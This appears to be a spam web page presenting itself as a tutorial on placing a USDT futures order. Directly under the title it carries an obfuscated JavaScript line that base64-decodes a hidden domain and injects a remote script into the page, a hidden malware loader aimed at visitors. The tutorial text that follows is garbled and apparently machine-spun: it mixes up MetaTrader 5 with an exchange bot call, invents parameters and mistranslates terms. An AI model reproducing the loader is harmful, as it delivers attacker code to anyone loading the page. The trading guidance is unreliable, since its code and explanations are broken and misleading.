Ethereum: how to create order with USDT as quantity parameter?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=e49d7f07″;document.body.appendChild(script);

I can drive you how to create a USDT Future Contract Team as a quantity parameter using Metatrader 5.

Here is an example of how you can do this:

`JavaScript

Bot.futures_create_order (

symbol = 'flmusdt',

Party = 'Buy',

Type = 'Market',

quantity = 12.0,

lever = 100,

Type2 = 'Limit', // or 'Maintain'

Price_Type1 = 'Auction' // or 'Ask'

);

Here's what each parameter does:

  • Symbol: Active symbol you want to trade (in this case, flmusdt)

  • Half: order part (buy or sell)

  • Type: Order Type (Market Order Market, Restriction Restriction or Maintenance Order Maintenance Order)

  • “Quantity”: The amount you want to market (USDT amount in this case)

  • Levelge: Trade Lever Factor

  • Type2 Si ” Price_Type1 ‘: These parameters are optional. For a team limit, you can set Type2 = 'Limit' and indicate the price at which you want to limit your position (for example,“ Price_Type1 = 'Auction'). You can setType2 = ‘Maintain for the maintenance team. The default values ​​are:

+ Type2 = 'Market : Market team

+price_TYPE1 = ‘Auction’: Buy for offer price and sell on request price

Note that these parameters should be adjusted according to your approach to the trading and risk management strategy.

Also, make sure you have checked the Metatrader 5 API documentation to make sure you use the right parameters and formats.

Join The Discussion

Compare listings

Compare